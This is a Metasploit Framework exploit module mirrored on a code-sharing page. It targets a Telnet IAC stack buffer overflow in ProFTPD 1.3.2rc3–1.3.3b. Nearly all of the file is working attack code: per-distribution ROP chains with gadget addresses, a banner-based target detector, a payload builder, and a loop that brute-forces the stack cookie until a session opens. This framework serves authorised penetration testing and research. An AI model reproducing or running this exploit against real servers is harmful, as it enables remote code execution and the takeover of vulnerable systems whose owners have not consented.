Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ftp/proftp_telnet_iac.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
# include Msf::Exploit::Remote::Ftp
10
include Msf::Exploit::Remote::Tcp
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',
17
'Description' => %q{
18
This module exploits a stack-based buffer overflow in versions of ProFTPD
19
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
20
large number of Telnet IAC commands, an attacker can corrupt memory and
21
execute arbitrary code.
22
23
The Debian Squeeze version of the exploit uses a little ROP stub to indirectly
24
transfer the flow of execution to a pool buffer (the cmd_rec "res" in
25
"pr_cmd_read").
26
27
The Ubuntu version uses a ROP stager to mmap RWX memory, copy a small stub
28
to it, and execute the stub. The stub then copies the remainder of the payload
29
in and executes it.
30
31
NOTE: Most Linux distributions either do not ship a vulnerable version of
32
ProFTPD, or they ship a version compiled with stack smashing protection.
33
34
Although SSP significantly reduces the probability of a single attempt
35
succeeding, it will not prevent exploitation. Since the daemon forks in a
36
default configuration, the cookie value will remain the same despite
37
some attempts failing. By making repeated requests, an attacker can eventually
38
guess the cookie value and exploit the vulnerability.
39
40
The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness
41
and could allow exploitation in semi-reasonable amount of time.
42
},
43
'Author' => [ 'jduck' ],
44
'References' => [
45
['CVE', '2010-4221'],
46
['OSVDB', '68985'],
47
['BID', '44562']
48
],
49
'DefaultOptions' => {
50
'EXITFUNC' => 'process',
51
'PrependChrootBreak' => true
52
},
53
'Privileged' => true,
54
'Payload' => {
55
'Space' => 4096,
56
# NOTE: \xff are avoided here so we can control the number of them being sent.
57
'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",
58
'DisableNops' => true
59
},
60
'Platform' => [ 'linux' ],
61
'Targets' => [
62
#
63
# Automatic targeting via fingerprinting
64
#
65
[ 'Automatic Targeting', { 'auto' => true } ],
66
67
#
68
# This special one comes first since we dont want its index changing.
69
#
70
[
71
'Debug',
72
{
73
'IACCount' => 8192, # should cause crash writing off end of stack
74
'Offset' => 0,
75
'Ret' => 0x41414242,
76
'Writable' => 0x43434545
77
}
78
],
79
80
#
81
# specific targets
82
#
83
84
# NOTE: this minimal rop works most of the time, but it can fail
85
# if the proftpd pool memory is in a different order for whatever reason...
86
[
87
'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',
88
{
89
'IACCount' => 4096 + 16,
90
'Offset' => 0x102c - 4,
91
# NOTE: All addresses are from the proftpd binary
92
'Ret' => 0x805a547, # pop esi / pop ebp / ret
93
'Writable' => 0x80e81a0, # .data
94
'RopStack' =>
95
[
96
# Writable is here
97
0xcccccccc, # unused
98
0x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret
99
0xcccccccc, # becomes ebx
100
0xcccccccc, # becomes esi
101
0xcccccccc, # becomes ebp
102
# quadruple deref the res pointer :)
103
0x8068886, # mov eax,[eax] / ret
104
0x8068886, # mov eax,[eax] / ret
105
0x8068886, # mov eax,[eax] / ret
106
0x8068886, # mov eax,[eax] / ret
107
# skip the pool chunk header
108
0x805bd8e, # inc eax / adc cl, cl / ret
109
0x805bd8e, # inc eax / adc cl, cl / ret
110
0x805bd8e, # inc eax / adc cl, cl / ret
111
0x805bd8e, # inc eax / adc cl, cl / ret
112
0x805bd8e, # inc eax / adc cl, cl / ret
113
0x805bd8e, # inc eax / adc cl, cl / ret
114
0x805bd8e, # inc eax / adc cl, cl / ret
115
0x805bd8e, # inc eax / adc cl, cl / ret
116
0x805bd8e, # inc eax / adc cl, cl / ret
117
0x805bd8e, # inc eax / adc cl, cl / ret
118
0x805bd8e, # inc eax / adc cl, cl / ret
119
0x805bd8e, # inc eax / adc cl, cl / ret
120
0x805bd8e, # inc eax / adc cl, cl / ret
121
0x805bd8e, # inc eax / adc cl, cl / ret
122
0x805bd8e, # inc eax / adc cl, cl / ret
123
0x805bd8e, # inc eax / adc cl, cl / ret
124
# execute the data :)
125
0x0805c26c, # jmp eax
126
]
127
}
128
],
129
130
# For the version compiled with symbols :)
131
[
132
'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',
133
{
134
'IACCount' => 4096 + 16,
135
'Offset' => 0x1028 - 4,
136
# NOTE: All addresses are from the proftpd binary
137
'Writable' => 0x80ec570, # .data
138
'Ret' => 0x80d78c2, # pop esi / pop ebp / ret
139
'RopStack' =>
140
[
141
# Writable is here
142
# 0x0808162a, # jmp esp (works w/esp fixup)
143
0xcccccccc, # unused becomes ebp
144
0x80d78c2, # mov eax,esi / pop esi / pop ebp / ret
145
0xcccccccc, # unused becomes esi
146
0xcccccccc, # unused becomes ebp
147
# quadruple deref the res pointer :)
148
0x806a915, # mov eax,[eax] / pop ebp / ret
149
0xcccccccc, # unused becomes ebp
150
0x806a915, # mov eax,[eax] / pop ebp / ret
151
0xcccccccc, # unused becomes ebp
152
0x806a915, # mov eax,[eax] / pop ebp / ret
153
0xcccccccc, # unused becomes ebp
154
0x806a915, # mov eax,[eax] / pop ebp / ret
155
0xcccccccc, # unused becomes ebp
156
# skip the pool chunk header
157
0x805d6a9, # inc eax / adc cl, cl / ret
158
0x805d6a9, # inc eax / adc cl, cl / ret
159
0x805d6a9, # inc eax / adc cl, cl / ret
160
0x805d6a9, # inc eax / adc cl, cl / ret
161
0x805d6a9, # inc eax / adc cl, cl / ret
162
0x805d6a9, # inc eax / adc cl, cl / ret
163
0x805d6a9, # inc eax / adc cl, cl / ret
164
0x805d6a9, # inc eax / adc cl, cl / ret
165
0x805d6a9, # inc eax / adc cl, cl / ret
166
0x805d6a9, # inc eax / adc cl, cl / ret
167
0x805d6a9, # inc eax / adc cl, cl / ret
168
0x805d6a9, # inc eax / adc cl, cl / ret
169
0x805d6a9, # inc eax / adc cl, cl / ret
170
0x805d6a9, # inc eax / adc cl, cl / ret
171
0x805d6a9, # inc eax / adc cl, cl / ret
172
0x805d6a9, # inc eax / adc cl, cl / ret
173
# execute the data :)
174
0x08058de6, # jmp eax
175
]
176
}
177
],
178
179
[
180
'ProFTPD 1.3.2c Server (Ubuntu 10.04)',
181
{
182
'IACCount' => 1018,
183
'Offset' => 0x420,
184
'CookieOffset' => -0x20,
185
'Writable' => 0x80db3a0, # becomes esi (beginning of .data)
186
'Ret' => 0x805389b, # pop esi / pop ebp / ret
187
'RopStack' =>
188
[
189
0xcccccccc, # becomes ebp
190
191
0x8080f04, # pop eax / ret
192
0x80db330, # becomes eax (GOT of mmap64)
193
194
0x806a716, # mov eax, [eax] / ret
195
0x805dd5c, # jmp eax
196
0x80607b2, # add esp, 0x24 / pop ebx / pop ebp / ret
197
# mmap args
198
0, 0x20000, 0x7, 0x22, 0xffffffff, 0,
199
0, # unused
200
0xcccccccc, # unused
201
0xcccccccc, # unused
202
0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx
203
0xcccccccc, # becomes ebp
204
205
# note, ebx gets fixed above :)
206
# 0xfe in 'ah' doesn't matter since we have more than enough space.
207
# now, load an instruction to store to eax
208
0x808b542, # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret
209
# becomes edx - mov [eax+ebp*4]; ebx / ret
210
"\x89\x1c\xa8\xc3".unpack('V').first,
211
212
# store it :)
213
0x805c2d0, # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret
214
0xcccccccc, # unused
215
0xcccccccc, # unused
216
0xcccccccc, # unused
217
0xcccccccc, # unused
218
0xcccccccc, # becomes ebx
219
0xcccccccc, # becomes esi
220
0xcccccccc, # becomes ebp
221
222
# Copy the following stub:
223
# "\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]
224
# "\x8d\x78\x12" # lea edi, [eax+0x12]
225
# "\x6a\x7f" # push 0x7f
226
# "\x59" # pop ecx
227
# "\xf2\xa5" # rep movsd
228
229
0x80607b5, # pop ebx / pop ebp / ret
230
0xfb2124b4, # becomes ebx
231
1, # becomes ebp
232
0x805dd5c, # jmp eax
233
234
0x80607b5, # pop ebx / pop ebp / ret
235
0x788dffff, # becomes ebx
236
2, # becomes ebp
237
0x805dd5c, # jmp eax
238
239
0x80607b5, # pop ebx / pop ebp / ret
240
0x597f6a12, # becomes ebx
241
3, # becomes ebp
242
0x805dd5c, # jmp eax
243
244
0x80607b5, # pop ebx / pop ebp / ret
245
0x9090a5f2, # becomes ebx
246
4, # becomes ebp
247
0x805dd5c, # jmp eax
248
249
0x80607b5, # pop ebx / pop ebp / ret
250
0x8d909090, # becomes ebx
251
0, # becomes ebp
252
0x805dd5c, # jmp eax
253
254
# hopefully we dont get here
255
0xcccccccc,
256
]
257
}
258
]
259
260
],
261
'DefaultTarget' => 0,
262
'DisclosureDate' => '2010-11-01',
263
'Notes' => {
264
'Stability' => [CRASH_SERVICE_DOWN],
265
'SideEffects' => [IOC_IN_LOGS],
266
'Reliability' => [UNRELIABLE_SESSION]
267
}
268
)
269
)
270
271
register_options(
272
[
273
Opt::RPORT(21),
274
]
275
)
276
end
277
278
def check
279
# NOTE: We don't care if the login failed here...
280
connect
281
banner = sock.get_once || ''
282
283
# We just want the banner to check against our targets..
284
vprint_status("FTP Banner: #{banner.strip}")
285
286
status = CheckCode::Safe
287
if banner =~ /ProFTPD (1\.3\.[23])/i
288
banner_array = banner.split('.')
289
290
if banner_array.count > 0 && !banner_array[3].nil?
291
# gets 1 char on the third part of version number.
292
relnum = banner_array[2][0..0]
293
tmp = banner_array[2].split(' ')
294
# gets extra string info of version number.
295
# example: 1.2.3rc ('rc' string)
296
extra = tmp[0][1..(tmp[0].length - 1)]
297
if relnum == '2'
298
if !extra.empty?
299
if extra[0..1] == 'rc'
300
v = extra[2..extra.length].to_i
301
if v && v > 2
302
status = CheckCode::Appears
303
end
304
else
305
status = CheckCode::Appears
306
end
307
end
308
elsif relnum == '3'
309
if [ '', 'a', 'b', ].include?(extra)
310
status = CheckCode::Appears
311
end
312
end
313
end
314
end
315
316
disconnect
317
return status
318
end
319
320
def exploit
321
connect
322
banner = sock.get_once || ''
323
324
# Use a copy of the target
325
mytarget = target
326
327
if target['auto']
328
mytarget = nil
329
330
print_status('Automatically detecting the target...')
331
if (banner && (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i)))
332
print_status("FTP Banner: #{banner.strip}")
333
version = m[1]
334
else
335
fail_with(Failure::NoTarget, 'No matching target')
336
end
337
338
regexp = Regexp.escape(version)
339
targets.each do |t|
340
if (t.name =~ /#{regexp}/)
341
mytarget = t
342
break
343
end
344
end
345
346
if !mytarget
347
fail_with(Failure::NoTarget, 'No matching target')
348
end
349
350
print_status("Selected Target: #{mytarget.name}")
351
else
352
print_status("Trying target #{mytarget.name}...")
353
if banner
354
print_status("FTP Banner: #{banner.strip}")
355
end
356
end
357
358
# puts "attach and press any key"; bleh = $stdin.gets
359
360
buf = ''
361
buf << 'SITE '
362
363
# buf << "\xcc"
364
if mytarget['CookieOffset']
365
buf << "\x8d\xa0\xfc\xdf\xff\xff" # lea esp, [eax-0x2004]
366
end
367
buf << payload.encoded
368
369
# The number of characters left must be odd at this point.
370
buf << rand_text(1) if (buf.length % 2) == 0
371
buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)
372
373
buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)
374
375
addrs = [
376
mytarget['Ret'],
377
mytarget['Writable']
378
].pack('V*')
379
380
if mytarget['RopStack']
381
addrs << mytarget['RopStack'].map do |e|
382
if e == 0xcccccccc
383
rand_text(4).unpack('V').first
384
else
385
e
386
end
387
end.pack('V*')
388
end
389
390
# Make sure we didn't introduce instability
391
addr_badchars = "\x09\x0a\x0b\x0c\x20"
392
if (idx = Rex::Text.badchar_index(addrs, addr_badchars))
393
fail_with(Failure::Unknown, format('One or more address contains a bad character! (0x%<char>02x @ 0x%<index>x)', char: addrs[idx, 1].unpack('C').first, index: idx))
394
end
395
396
buf << addrs
397
buf << "\r\n"
398
399
#
400
# In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it
401
# doesn't change while proftpd forks children. Therefore, we can try forever
402
# and eventually guess it correctly.
403
#
404
# NOTE: if the cookie contains one of our bad characters, we're SOL.
405
#
406
if mytarget['CookieOffset']
407
print_status('!!! Attempting to bruteforce the cookie value! This can takes days. !!!')
408
409
disconnect
410
411
max = 0xffffff00
412
off = mytarget['Offset'] + mytarget['CookieOffset']
413
414
cookie = last_cookie = 0
415
# cookie = 0x17ccd600
416
417
start = Time.now
418
last = start - 10
419
420
until session_created?
421
now = Time.now
422
if (now - last) >= 10
423
perc = (cookie * 100) / max
424
qps = ((cookie - last_cookie) >> 8) / 10.0
425
print_status(format('%<perc>.2f%% complete, %<qps>.2f attempts/sec - Trying: 0x%<cookie>x', perc: perc, qps: qps, cookie: cookie))
426
last = now
427
last_cookie = cookie
428
end
429
430
sd = connect(false)
431
sd.get_once
432
buf[off, 4] = [cookie].pack('V')
433
sd.put(buf)
434
disconnect(sd)
435
436
cookie += 0x100
437
break if cookie > max
438
end
439
440
if !session_created?
441
fail_with(Failure::Unknown, 'Unable to guess the cookie value, sorry :-/')
442
end
443
else
444
sock.put(buf)
445
disconnect
446
end
447
448
handler
449
end
450
end
451
452